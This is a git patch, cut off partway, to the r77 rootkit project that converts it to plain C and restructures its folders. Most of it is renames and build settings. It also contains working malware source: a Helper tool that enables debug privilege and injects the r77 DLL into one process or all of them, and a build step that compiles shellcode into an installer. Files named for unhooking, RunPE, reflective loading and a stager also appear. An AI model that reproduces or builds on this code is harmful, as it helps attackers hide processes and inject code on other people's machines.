From 790335852ef849353d713abfff96da7c640c7490 Mon Sep 17 00:00:00 2001 From: Martin Fischer Date: Wed, 12 Oct 2022 19:34:39 +0200 Subject: [PATCH] C++ -> Plain C; Split r77api into meaningful chunks --- {Docs => $Docs}/Documentation.docx | Bin {Docs => $Docs}/Removed.cpp | 0 {Examples => $Examples}/ControlPipe.cpp | 0 {Examples => $Examples}/InstallShellCode.cpp | 0 {Examples => $Examples}/InstallShellCode.cs | 0 .gitignore | 10 +- {vs/BuildTask => BuildTask}/BuildTask.cs | 14 +- {vs/BuildTask => BuildTask}/BuildTask.csproj | 2 +- {vs/Example => Example}/App.xaml | 0 {vs/Example => Example}/App.xaml.cs | 0 {vs/Example => Example}/CpuUsage.cs | 0 {vs/Example => Example}/Example.csproj | 10 +- {vs/Example => Example}/Example.ico | Bin {vs/Example => Example}/MainWindow.xaml | 0 {vs/Example => Example}/MainWindow.xaml.cs | 0 .../Properties/AssemblyInfo.cs | 0 .../Resources/Example32.png | Bin {vs/Example => Example}/Resources/Help16.png | Bin .../Resources/Warning16.png | Bin {vs/Example => Example}/app.manifest | 0 {src => Global}/GlobalAssemblyInfo.cs | 2 +- src/Helper/Helper.cpp => Helper/Helper.c | 38 +- {src/Helper => Helper}/Helper.h | 5 +- Helper/Helper.vcxitems | 22 + {vs/Helper32 => Helper32}/Helper32.vcxproj | 41 +- Helper32/Helper32.vcxproj.filters | 2 + {vs/Helper64 => Helper64}/Helper64.vcxproj | 41 +- Helper64/Helper64.vcxproj.filters | 2 + src/Install/Install.cpp => Install/Install.c | 53 +- {src/Install => Install}/Install.h | 6 +- {vs/Install => Install}/Install.vcxproj | 49 +- .../Install.vcxproj.filters | 21 +- {vs/InstallService64 => Install}/Resource.rc | 4 +- {vs/Install => Install}/Resources/.gitkeep | 0 {vs/Install => Install}/app.manifest | 2 +- {vs/Install => Install}/resource.h | 2 +- .../InstallShellcode.asm | 0 InstallShellcode/InstallShellcode.vcxitems | 23 + .../PebApi.asm | 0 .../PebApi.inc | 0 .../RunPE.asm | 0 .../nt.inc | 0 Service/ControlPipeListener.c | 37 + Service/ControlPipeListener.h | 17 + Service/ProcessListener.c | 95 + Service/ProcessListener.h | 43 + {vs/InstallService32 => Service}/Resource.rc | 0 .../InstallService.cpp => Service/Service.c | 70 +- .../InstallService.h => Service/Service.h | 8 +- Service/Service.vcxitems | 30 + {vs/InstallService32 => Service}/resource.h | 0 .../Resources/.gitkeep | 0 .../Service32.vcxproj | 52 +- Service32/Service32.vcxproj.filters | 13 + .../Resources/.gitkeep | 0 .../Service64.vcxproj | 52 +- Service64/Service64.vcxproj.filters | 13 + SlnBin/x64/detours.pdb | Bin 176128 -> 0 bytes SlnBin/x86/detours.pdb | Bin 176128 -> 0 bytes {src/InstallStager => Stager}/Helper.cs | 0 .../Properties/Resources.Designer.cs | 14 +- .../Properties/Resources.resx | 14 +- .../Resources/.gitkeep | 0 {src/InstallStager => Stager}/RunPE.cs | 0 .../InstallStager.cs => Stager/Stager.cs | 6 +- .../Stager.csproj | 28 +- {src/InstallStager => Stager}/Unhook.cs | 0 {vs/TestConsole => TestConsole}/App.xaml | 0 {vs/TestConsole => TestConsole}/App.xaml.cs | 0 .../Controller/AppResources.cs | 0 .../Controller/ControlCode.cs | 0 .../Controller/ControlPipe.cs | 0 .../Controller/ProcessList.cs | 0 .../Model/Logging/LogDetailsItem.cs | 0 .../Model/Logging/LogFileItem.cs | 0 .../Model/Logging/LogItem.cs | 0 .../Model/Logging/LogLinkItem.cs | 0 .../Model/Logging/LogMessage.cs | 0 .../Model/Logging/LogMessageType.cs | 0 .../Model/Logging/LogTextItem.cs | 0 .../Model/ProcessView.cs | 0 .../Properties/AssemblyInfo.cs | 0 .../Resources/AboutBanner.png | Bin .../Resources/AboutGitHub16.png | Bin .../Resources/AboutTitle.png | Bin .../Resources/AboutWebsite16.png | Bin .../Resources/ControlPipe16.png | Bin .../Resources/DllDetach16.png | Bin .../Resources/DllInject16.png | Bin .../Resources/DllInjected16.png | Bin .../Resources/Error16.png | Bin .../Resources/Example16.png | Bin .../Resources/Exe16.png | Bin .../Resources/ExeUac16.png | Bin .../Resources/Hidden16.png | Bin .../Resources/Information16.png | Bin .../Resources/Pdf16.png | Bin .../Resources/Processes16.png | Bin .../Resources/R77Helper16.png | Bin .../Resources/R77Service16.png | Bin .../Resources/Uac16.png | Bin .../Resources/Unhidden16.png | Bin .../Resources/Warning16.png | Bin .../TestConsole.csproj | 28 +- .../TestConsole.ico | Bin .../ViewModels/AboutPopupViewModel.cs | 0 .../ViewModels/MainWindowViewModel.cs | 0 .../Views/AboutPopup.xaml | 0 .../Views/AboutPopup.xaml.cs | 0 .../Views/MainWindow.xaml | 0 .../Views/MainWindow.xaml.cs | 0 {vs/TestConsole => TestConsole}/app.manifest | 0 {vs/Uninstall => Uninstall}/Resource.rc | 0 .../Resources/.gitkeep | 0 .../Uninstall.cpp => Uninstall/Uninstall.c | 13 +- {vs/Uninstall => Uninstall}/Uninstall.vcxproj | 40 +- .../Uninstall.vcxproj.filters | 6 +- {vs/Uninstall => Uninstall}/resource.h | 0 .../Uninstall64.c | 9 +- .../Uninstall64.vcxproj | 36 +- Uninstall64/Uninstall64.vcxproj.filters | 6 + {vs/r77-x64 => r77-x64}/r77-x64.vcxproj | 61 +- r77-x64/r77-x64.vcxproj.filters | 2 + {vs/r77-x86 => r77-x86}/r77-x86.vcxproj | 61 +- r77-x86/r77-x86.vcxproj.filters | 2 + r77.sln | 304 +++ src/r77/Config.cpp => r77/Config.c | 94 +- r77/Config.h | 91 + r77/Hooks.c | 659 +++++++ r77/Hooks.h | 50 + r77/ReflectiveDllMain.c | 103 + r77/ReflectiveDllMain.h | 16 + r77/Rootkit.c | 109 ++ r77/Rootkit.h | 60 + {src/r77 => r77}/detours.h | 0 src/r77/r77.cpp => r77/r77.c | 8 +- r77/r77.vcxitems | 30 + r77api/clist.c | 186 ++ r77api/clist.h | 141 ++ r77api/ntdll.h | 652 +++++++ r77api/r77api.vcxitems | 33 + r77api/r77config.c | 163 ++ r77api/r77config.h | 81 + r77api/r77def.h | 109 ++ r77api/r77mindef.h | 36 + r77api/r77process.c | 232 +++ r77api/r77process.h | 87 + r77api/r77runtime.c | 101 + r77api/r77runtime.h | 24 + r77api/r77win.c | 889 +++++++++ r77api/r77win.h | 282 +++ src/Uninstall/Uninstall.h | 4 - src/Uninstall64/Uninstall64.h | 3 - src/ntdll.h | 663 ------- src/r77/Config.h | 93 - src/r77/Hooks.cpp | 661 ------- src/r77/Hooks.h | 57 - src/r77/Register.cpp | 46 - src/r77/Register.h | 19 - src/r77/Rootkit.cpp | 62 - src/r77/Rootkit.h | 48 - src/r77/r77.h | 8 - src/r77api.cpp | 1689 ----------------- src/r77api.h | 793 -------- vs/Helper32/Helper32.vcxproj.filters | 12 - vs/Helper64/Helper64.vcxproj.filters | 12 - vs/Install/Resource.rc | 69 - .../InstallService32.vcxproj.filters | 26 - .../InstallService64.vcxproj.filters | 26 - vs/InstallService64/resource.h | 16 - vs/Uninstall64/Uninstall64.vcxproj.filters | 12 - vs/r77-x64/r77-x64.vcxproj.filters | 27 - vs/r77-x86/r77-x86.vcxproj.filters | 27 - vs/r77.sln | 233 --- 174 files changed, 5206 insertions(+), 5045 deletions(-) rename {Docs => $Docs}/Documentation.docx (100%) rename {Docs => $Docs}/Removed.cpp (100%) rename {Examples => $Examples}/ControlPipe.cpp (100%) rename {Examples => $Examples}/InstallShellCode.cpp (100%) rename {Examples => $Examples}/InstallShellCode.cs (100%) rename {vs/BuildTask => BuildTask}/BuildTask.cs (88%) rename {vs/BuildTask => BuildTask}/BuildTask.csproj (97%) rename {vs/Example => Example}/App.xaml (100%) rename {vs/Example => Example}/App.xaml.cs (100%) rename {vs/Example => Example}/CpuUsage.cs (100%) rename {vs/Example => Example}/Example.csproj (94%) rename {vs/Example => Example}/Example.ico (100%) rename {vs/Example => Example}/MainWindow.xaml (100%) rename {vs/Example => Example}/MainWindow.xaml.cs (100%) rename {vs/Example => Example}/Properties/AssemblyInfo.cs (100%) rename {vs/Example => Example}/Resources/Example32.png (100%) rename {vs/Example => Example}/Resources/Help16.png (100%) rename {vs/Example => Example}/Resources/Warning16.png (100%) rename {vs/Example => Example}/app.manifest (100%) rename {src => Global}/GlobalAssemblyInfo.cs (98%) rename src/Helper/Helper.cpp => Helper/Helper.c (82%) rename {src/Helper => Helper}/Helper.h (94%) create mode 100644 Helper/Helper.vcxitems rename {vs/Helper32 => Helper32}/Helper32.vcxproj (78%) create mode 100644 Helper32/Helper32.vcxproj.filters rename {vs/Helper64 => Helper64}/Helper64.vcxproj (78%) create mode 100644 Helper64/Helper64.vcxproj.filters rename src/Install/Install.cpp => Install/Install.c (84%) rename {src/Install => Install}/Install.h (85%) rename {vs/Install => Install}/Install.vcxproj (78%) rename {vs/Install => Install}/Install.vcxproj.filters (66%) rename {vs/InstallService64 => Install}/Resource.rc (94%) rename {vs/Install => Install}/Resources/.gitkeep (100%) rename {vs/Install => Install}/app.manifest (96%) rename {vs/Install => Install}/resource.h (89%) rename {src/InstallShellcode => InstallShellcode}/InstallShellcode.asm (100%) create mode 100644 InstallShellcode/InstallShellcode.vcxitems rename {src/InstallShellcode => InstallShellcode}/PebApi.asm (100%) rename {src/InstallShellcode => InstallShellcode}/PebApi.inc (100%) rename {src/InstallShellcode => InstallShellcode}/RunPE.asm (100%) rename {src/InstallShellcode => InstallShellcode}/nt.inc (100%) create mode 100644 Service/ControlPipeListener.c create mode 100644 Service/ControlPipeListener.h create mode 100644 Service/ProcessListener.c create mode 100644 Service/ProcessListener.h rename {vs/InstallService32 => Service}/Resource.rc (100%) rename src/InstallService/InstallService.cpp => Service/Service.c (84%) rename src/InstallService/InstallService.h => Service/Service.h (91%) create mode 100644 Service/Service.vcxitems rename {vs/InstallService32 => Service}/resource.h (100%) rename {vs/InstallService32 => Service32}/Resources/.gitkeep (100%) rename vs/InstallService32/InstallService32.vcxproj => Service32/Service32.vcxproj (73%) create mode 100644 Service32/Service32.vcxproj.filters rename {vs/InstallService64 => Service64}/Resources/.gitkeep (100%) rename vs/InstallService64/InstallService64.vcxproj => Service64/Service64.vcxproj (72%) create mode 100644 Service64/Service64.vcxproj.filters delete mode 100644 SlnBin/x64/detours.pdb delete mode 100644 SlnBin/x86/detours.pdb rename {src/InstallStager => Stager}/Helper.cs (100%) rename {vs/InstallStager => Stager}/Properties/Resources.Designer.cs (85%) rename {vs/InstallStager => Stager}/Properties/Resources.resx (89%) rename {vs/InstallStager => Stager}/Resources/.gitkeep (100%) rename {src/InstallStager => Stager}/RunPE.cs (100%) rename src/InstallStager/InstallStager.cs => Stager/Stager.cs (94%) rename vs/InstallStager/InstallStager.csproj => Stager/Stager.csproj (80%) rename {src/InstallStager => Stager}/Unhook.cs (100%) rename {vs/TestConsole => TestConsole}/App.xaml (100%) rename {vs/TestConsole => TestConsole}/App.xaml.cs (100%) rename {vs/TestConsole => TestConsole}/Controller/AppResources.cs (100%) rename {vs/TestConsole => TestConsole}/Controller/ControlCode.cs (100%) rename {vs/TestConsole => TestConsole}/Controller/ControlPipe.cs (100%) rename {vs/TestConsole => TestConsole}/Controller/ProcessList.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogDetailsItem.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogFileItem.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogItem.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogLinkItem.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogMessage.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogMessageType.cs (100%) rename {vs/TestConsole => TestConsole}/Model/Logging/LogTextItem.cs (100%) rename {vs/TestConsole => TestConsole}/Model/ProcessView.cs (100%) rename {vs/TestConsole => TestConsole}/Properties/AssemblyInfo.cs (100%) rename {vs/TestConsole => TestConsole}/Resources/AboutBanner.png (100%) rename {vs/TestConsole => TestConsole}/Resources/AboutGitHub16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/AboutTitle.png (100%) rename {vs/TestConsole => TestConsole}/Resources/AboutWebsite16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/ControlPipe16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/DllDetach16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/DllInject16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/DllInjected16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Error16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Example16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Exe16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/ExeUac16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Hidden16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Information16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Pdf16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Processes16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/R77Helper16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/R77Service16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Uac16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Unhidden16.png (100%) rename {vs/TestConsole => TestConsole}/Resources/Warning16.png (100%) rename {vs/TestConsole => TestConsole}/TestConsole.csproj (86%) rename {vs/TestConsole => TestConsole}/TestConsole.ico (100%) rename {vs/TestConsole => TestConsole}/ViewModels/AboutPopupViewModel.cs (100%) rename {vs/TestConsole => TestConsole}/ViewModels/MainWindowViewModel.cs (100%) rename {vs/TestConsole => TestConsole}/Views/AboutPopup.xaml (100%) rename {vs/TestConsole => TestConsole}/Views/AboutPopup.xaml.cs (100%) rename {vs/TestConsole => TestConsole}/Views/MainWindow.xaml (100%) rename {vs/TestConsole => TestConsole}/Views/MainWindow.xaml.cs (100%) rename {vs/TestConsole => TestConsole}/app.manifest (100%) rename {vs/Uninstall => Uninstall}/Resource.rc (100%) rename {vs/Uninstall => Uninstall}/Resources/.gitkeep (100%) rename src/Uninstall/Uninstall.cpp => Uninstall/Uninstall.c (85%) rename {vs/Uninstall => Uninstall}/Uninstall.vcxproj (77%) rename {vs/Uninstall => Uninstall}/Uninstall.vcxproj.filters (69%) rename {vs/Uninstall => Uninstall}/resource.h (100%) rename src/Uninstall64/Uninstall64.cpp => Uninstall64/Uninstall64.c (75%) rename {vs/Uninstall64 => Uninstall64}/Uninstall64.vcxproj (77%) create mode 100644 Uninstall64/Uninstall64.vcxproj.filters rename {vs/r77-x64 => r77-x64}/r77-x64.vcxproj (68%) create mode 100644 r77-x64/r77-x64.vcxproj.filters rename {vs/r77-x86 => r77-x86}/r77-x86.vcxproj (68%) create mode 100644 r77-x86/r77-x86.vcxproj.filters create mode 100644 r77.sln rename src/r77/Config.cpp => r77/Config.c (63%) create mode 100644 r77/Config.h create mode 100644 r77/Hooks.c create mode 100644 r77/Hooks.h create mode 100644 r77/ReflectiveDllMain.c create mode 100644 r77/ReflectiveDllMain.h create mode 100644 r77/Rootkit.c create mode 100644 r77/Rootkit.h rename {src/r77 => r77}/detours.h (100%) rename src/r77/r77.cpp => r77/r77.c (70%) create mode 100644 r77/r77.vcxitems create mode 100644 r77api/clist.c create mode 100644 r77api/clist.h create mode 100644 r77api/ntdll.h create mode 100644 r77api/r77api.vcxitems create mode 100644 r77api/r77config.c create mode 100644 r77api/r77config.h create mode 100644 r77api/r77def.h create mode 100644 r77api/r77mindef.h create mode 100644 r77api/r77process.c create mode 100644 r77api/r77process.h create mode 100644 r77api/r77runtime.c create mode 100644 r77api/r77runtime.h create mode 100644 r77api/r77win.c create mode 100644 r77api/r77win.h delete mode 100644 src/Uninstall/Uninstall.h delete mode 100644 src/Uninstall64/Uninstall64.h delete mode 100644 src/ntdll.h delete mode 100644 src/r77/Config.h delete mode 100644 src/r77/Hooks.cpp delete mode 100644 src/r77/Hooks.h delete mode 100644 src/r77/Register.cpp delete mode 100644 src/r77/Register.h delete mode 100644 src/r77/Rootkit.cpp delete mode 100644 src/r77/Rootkit.h delete mode 100644 src/r77/r77.h delete mode 100644 src/r77api.cpp delete mode 100644 src/r77api.h delete mode 100644 vs/Helper32/Helper32.vcxproj.filters delete mode 100644 vs/Helper64/Helper64.vcxproj.filters delete mode 100644 vs/Install/Resource.rc delete mode 100644 vs/InstallService32/InstallService32.vcxproj.filters delete mode 100644 vs/InstallService64/InstallService64.vcxproj.filters delete mode 100644 vs/InstallService64/resource.h delete mode 100644 vs/Uninstall64/Uninstall64.vcxproj.filters delete mode 100644 vs/r77-x64/r77-x64.vcxproj.filters delete mode 100644 vs/r77-x86/r77-x86.vcxproj.filters delete mode 100644 vs/r77.sln diff --git a/Docs/Documentation.docx b/$Docs/Documentation.docx similarity index 100% rename from Docs/Documentation.docx rename to $Docs/Documentation.docx diff --git a/Docs/Removed.cpp b/$Docs/Removed.cpp similarity index 100% rename from Docs/Removed.cpp rename to $Docs/Removed.cpp diff --git a/Examples/ControlPipe.cpp b/$Examples/ControlPipe.cpp similarity index 100% rename from Examples/ControlPipe.cpp rename to $Examples/ControlPipe.cpp diff --git a/Examples/InstallShellCode.cpp b/$Examples/InstallShellCode.cpp similarity index 100% rename from Examples/InstallShellCode.cpp rename to $Examples/InstallShellCode.cpp diff --git a/Examples/InstallShellCode.cs b/$Examples/InstallShellCode.cs similarity index 100% rename from Examples/InstallShellCode.cs rename to $Examples/InstallShellCode.cs diff --git a/.gitignore b/.gitignore index 2968673..7d0c3fb 100644 --- a/.gitignore +++ b/.gitignore @@ -17,8 +17,8 @@ TestResults/ *~*.docx $Build/ -vs/Install/Resources/ -vs/InstallStager/Resources/ -vs/InstallService32/Resources/ -vs/InstallService64/Resources/ -vs/Uninstall/Resources/ \ No newline at end of file +Install/Resources/ +Stager/Resources/ +Service32/Resources/ +Service64/Resources/ +Uninstall/Resources/ \ No newline at end of file diff --git a/vs/BuildTask/BuildTask.cs b/BuildTask/BuildTask.cs similarity index 88% rename from vs/BuildTask/BuildTask.cs rename to BuildTask/BuildTask.cs index f1b69f2..7be21e2 100644 --- a/vs/BuildTask/BuildTask.cs +++ b/BuildTask/BuildTask.cs @@ -29,7 +29,7 @@ public static int Main(string[] args) { if (!Directory.Exists(args[1])) return 1; - return CreateShellCodeInstaller(new DirectoryInfo(args[1]).Parent.FullName) ? 0 : 1; + return CreateShellCodeInstaller(args[1]) ? 0 : 1; } else { @@ -86,14 +86,18 @@ private static byte[] R77Signature(byte[] file, ushort signature) } private static bool CreateShellCodeInstaller(string solutionDir) { - Directory.CreateDirectory(Path.Combine(solutionDir, @"src\InstallShellcode\bin")); + Directory.CreateDirectory(Path.Combine(solutionDir, @"InstallShellcode\bin")); - string shellCodePath = Path.Combine(solutionDir, @"src\InstallShellcode\bin\InstallShellcode.exe"); - if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"src\InstallShellcode\InstallShellcode.asm"), shellCodePath)) + string shellCodeExePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.exe"); + string shellCodePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.shellcode"); + + if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"InstallShellcode\InstallShellcode.asm"), shellCodeExePath)) { + byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodeExePath)); + File.WriteAllBytes(shellCodePath, shellCode); + using (FileStream file = File.Create(Path.Combine(solutionDir, @"$Build\Install.shellcode"))) { - byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodePath)); file.Write(shellCode, 0, shellCode.Length); byte[] installer = File.ReadAllBytes(Path.Combine(solutionDir, @"$Build\Install.exe")); diff --git a/vs/BuildTask/BuildTask.csproj b/BuildTask/BuildTask.csproj similarity index 97% rename from vs/BuildTask/BuildTask.csproj rename to BuildTask/BuildTask.csproj index 5cad6a6..9786bc3 100644 --- a/vs/BuildTask/BuildTask.csproj +++ b/BuildTask/BuildTask.csproj @@ -38,7 +38,7 @@ - + Properties\GlobalAssemblyInfo.cs diff --git a/vs/Example/App.xaml b/Example/App.xaml similarity index 100% rename from vs/Example/App.xaml rename to Example/App.xaml diff --git a/vs/Example/App.xaml.cs b/Example/App.xaml.cs similarity index 100% rename from vs/Example/App.xaml.cs rename to Example/App.xaml.cs diff --git a/vs/Example/CpuUsage.cs b/Example/CpuUsage.cs similarity index 100% rename from vs/Example/CpuUsage.cs rename to Example/CpuUsage.cs diff --git a/vs/Example/Example.csproj b/Example/Example.csproj similarity index 94% rename from vs/Example/Example.csproj rename to Example/Example.csproj index d8718a6..0ce877a 100644 --- a/vs/Example/Example.csproj +++ b/Example/Example.csproj @@ -59,14 +59,14 @@ MSBuild:Compile Designer + + Properties\GlobalAssemblyInfo.cs + MSBuild:Compile Designer - - Properties\GlobalAssemblyInfo.cs - App.xaml Code @@ -94,7 +94,7 @@ - mkdir "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)..\$Build\$77-Example.exe" + mkdir "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)$Build\$77-Example.exe" \ No newline at end of file diff --git a/vs/Example/Example.ico b/Example/Example.ico similarity index 100% rename from vs/Example/Example.ico rename to Example/Example.ico diff --git a/vs/Example/MainWindow.xaml b/Example/MainWindow.xaml similarity index 100% rename from vs/Example/MainWindow.xaml rename to Example/MainWindow.xaml diff --git a/vs/Example/MainWindow.xaml.cs b/Example/MainWindow.xaml.cs similarity index 100% rename from vs/Example/MainWindow.xaml.cs rename to Example/MainWindow.xaml.cs diff --git a/vs/Example/Properties/AssemblyInfo.cs b/Example/Properties/AssemblyInfo.cs similarity index 100% rename from vs/Example/Properties/AssemblyInfo.cs rename to Example/Properties/AssemblyInfo.cs diff --git a/vs/Example/Resources/Example32.png b/Example/Resources/Example32.png similarity index 100% rename from vs/Example/Resources/Example32.png rename to Example/Resources/Example32.png diff --git a/vs/Example/Resources/Help16.png b/Example/Resources/Help16.png similarity index 100% rename from vs/Example/Resources/Help16.png rename to Example/Resources/Help16.png diff --git a/vs/Example/Resources/Warning16.png b/Example/Resources/Warning16.png similarity index 100% rename from vs/Example/Resources/Warning16.png rename to Example/Resources/Warning16.png diff --git a/vs/Example/app.manifest b/Example/app.manifest similarity index 100% rename from vs/Example/app.manifest rename to Example/app.manifest diff --git a/src/GlobalAssemblyInfo.cs b/Global/GlobalAssemblyInfo.cs similarity index 98% rename from src/GlobalAssemblyInfo.cs rename to Global/GlobalAssemblyInfo.cs index 6920bcf..e91f586 100644 --- a/src/GlobalAssemblyInfo.cs +++ b/Global/GlobalAssemblyInfo.cs @@ -6,7 +6,7 @@ namespace Global { - // These constants must match the preprocessor definitions in r77api.h + // These constants must match the preprocessor definitions in r77def.h public static class Config { public const string HidePrefix = "$77"; diff --git a/src/Helper/Helper.cpp b/Helper/Helper.c similarity index 82% rename from src/Helper/Helper.cpp rename to Helper/Helper.c index bfef9ee..905f996 100644 --- a/src/Helper/Helper.cpp +++ b/Helper/Helper.c @@ -1,8 +1,16 @@ #include "Helper.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#include "r77def.h" +#include "r77win.h" +#include "r77config.h" +#include "r77process.h" +#include +#include +#include +#include + +int CALLBACK WinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE previousInstance, _In_ LPSTR commandLine, _In_ int cmdShow) { - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); int argCount; LPWSTR *args = CommandLineToArgvW(GetCommandLineW(), &argCount); @@ -10,24 +18,24 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma if (argCount == 1) { - MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", sizeof(LPVOID) == 4 ? L"Helper32.exe" : L"Helper64.exe", MB_ICONASTERISK | MB_OK); + MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", COALESCE_BITNESS(L"Helper32.exe", L"Helper64.exe"), MB_ICONASTERISK | MB_OK); return 1; } // Helper32|64.exe -config - else if (argCount == 2 && !lstrcmpiW(args[1], L"-config")) + else if (argCount == 2 && !StrCmpIW(args[1], L"-config")) { return CreateConfig(); } // Helper32|64.exe -list - else if (argCount == 2 && !lstrcmpiW(args[1], L"-list")) + else if (argCount == 2 && !StrCmpIW(args[1], L"-list")) { return ProcessList(); } // All processes: Helper32|64.exe -inject -all "C:\path\to\r77-*.dll" // Specific PID: Helper32|64.exe -inject 1234 "C:\path\to\r77-*.dll" - else if (argCount == 4 && !lstrcmpiW(args[1], L"-inject")) + else if (argCount == 4 && !StrCmpIW(args[1], L"-inject")) { - if (!lstrcmpiW(args[2], L"-all")) + if (!StrCmpIW(args[2], L"-all")) { return Inject(-1, args[3]); } @@ -39,9 +47,9 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma } // All processes: Helper32|64.exe -detach -all // Specific PID: Helper32|64.exe -detach 1234 - else if (argCount == 3 && !lstrcmpiW(args[1], L"-detach")) + else if (argCount == 3 && !StrCmpIW(args[1], L"-detach")) { - if (!lstrcmpiW(args[2], L"-all")) + if (!StrCmpIW(args[2], L"-all")) { return Detach(-1); } @@ -67,15 +75,15 @@ int ProcessList() // - or that it's the r77 service, // - or that it's an r77 helper file. - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); DWORD r77ProcessCount = 1000; if (!GetR77Processes(r77Processes, &r77ProcessCount)) r77ProcessCount = 0; - HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) return 1; PROCESSENTRY32W processEntry; - processEntry.dwSize = sizeof(processEntry); + processEntry.dwSize = sizeof(PROCESSENTRY32W); WCHAR fileName[MAX_PATH + 1]; WCHAR userName[256]; @@ -172,7 +180,7 @@ int Inject(DWORD processId, LPCWSTR dllPath) if (processId == -1) { // Inject all processes - LPDWORD processes = new DWORD[10000]; + LPDWORD processes = NEW_ARRAY(DWORD, 10000); DWORD processCount = 0; if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount)) { @@ -207,6 +215,6 @@ int Detach(DWORD processId) else { // Detach from specific process - return DetachInjectedProcess(processId) ? 0 : 1; + return DetachInjectedProcessById(processId) ? 0 : 1; } } \ No newline at end of file diff --git a/src/Helper/Helper.h b/Helper/Helper.h similarity index 94% rename from src/Helper/Helper.h rename to Helper/Helper.h index ae8ff37..7fd1800 100644 --- a/src/Helper/Helper.h +++ b/Helper/Helper.h @@ -1,7 +1,4 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include +#include "r77mindef.h" /// /// Helper32.exe and Helper64.exe are used by TestConsole.exe to retrieve a process list. diff --git a/Helper/Helper.vcxitems b/Helper/Helper.vcxitems new file mode 100644 index 0000000..2759bf4 --- /dev/null +++ b/Helper/Helper.vcxitems @@ -0,0 +1,22 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {e6543f7a-4e58-4c55-975e-ed975481ebe8} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + \ No newline at end of file diff --git a/vs/Helper32/Helper32.vcxproj b/Helper32/Helper32.vcxproj similarity index 78% rename from vs/Helper32/Helper32.vcxproj rename to Helper32/Helper32.vcxproj index 471c024..e4e4e26 100644 --- a/vs/Helper32/Helper32.vcxproj +++ b/Helper32/Helper32.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,31 @@ true + false false + false Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDLL + CompileAsC + false - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" @@ -72,32 +79,28 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - - - - - - - diff --git a/Helper32/Helper32.vcxproj.filters b/Helper32/Helper32.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/Helper32/Helper32.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/vs/Helper64/Helper64.vcxproj b/Helper64/Helper64.vcxproj similarity index 78% rename from vs/Helper64/Helper64.vcxproj rename to Helper64/Helper64.vcxproj index 12a105f..d443d31 100644 --- 